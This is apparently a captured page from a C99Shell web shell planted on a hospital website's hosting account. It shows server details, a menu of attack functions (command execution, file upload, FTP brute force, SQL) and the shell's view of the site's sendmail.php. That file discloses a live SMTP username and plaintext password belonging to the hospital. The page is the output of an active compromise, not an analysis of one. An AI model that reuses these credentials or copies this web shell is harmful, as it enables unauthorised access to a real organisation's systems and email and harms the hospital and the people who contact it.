!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/home/katebhospital/public_html/   drwxr-x---
Free 984.23 GB of 3519.75 GB (27.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     sendmail.php (1.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('admin/conn.php');
use 
PHPMailer\PHPMailer\PHPMailer;
require_once 
'Exception.php';
require_once 
'PHPMailer.php';
require_once 
'SMTP.php';

$mail = new PHPMailer(true);
$alert '';

if(isset(
$_POST['submit'])){
    
$name mysqli_real_escape_string($con$_POST['name']);
    
$email mysqli_real_escape_string($con$_POST['email']);
    
$message mysqli_real_escape_string($con$_POST['message']);

    try {
        
$mail->isSMTP();
        
$mail->Host 'mail.katebhospital.af';
        
$mail->SMTPAuth true;
        
$mail->Username 'info@katebhospital.af';
        
$mail->Password 'QVwmlXxqnsDV';
        
$mail->SMTPSecure PHPMailer::ENCRYPTION_STARTTLS;
        
$mail->Port 587;

        
$mail->setFrom('info@katebhospital.af');
        
$mail->addAddress('info@katebhospital.af');
        
$mail->isHTML(true);

        
// Set the character encoding to UTF-8
        
$mail->CharSet 'UTF-8';
        
$mail->Encoding 'base64'// You can use 'base64' or 'quoted-printable'

        
$mail->Subject 'Message Received (Contact Page)';
        
$mail->Body "<h3> Name: $name <br>Email: $email <br>Message: $message </h3>";
        
$mail->send();
        echo 
"<script>window.location.href = 'mail-success.php'</script>";
    } catch(
Exception $e) {
        
$alert '<div class="alert alert-danger">
            <span>Error: '
.$e->getMessage().'</span>
        </div>'
;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0039 ]--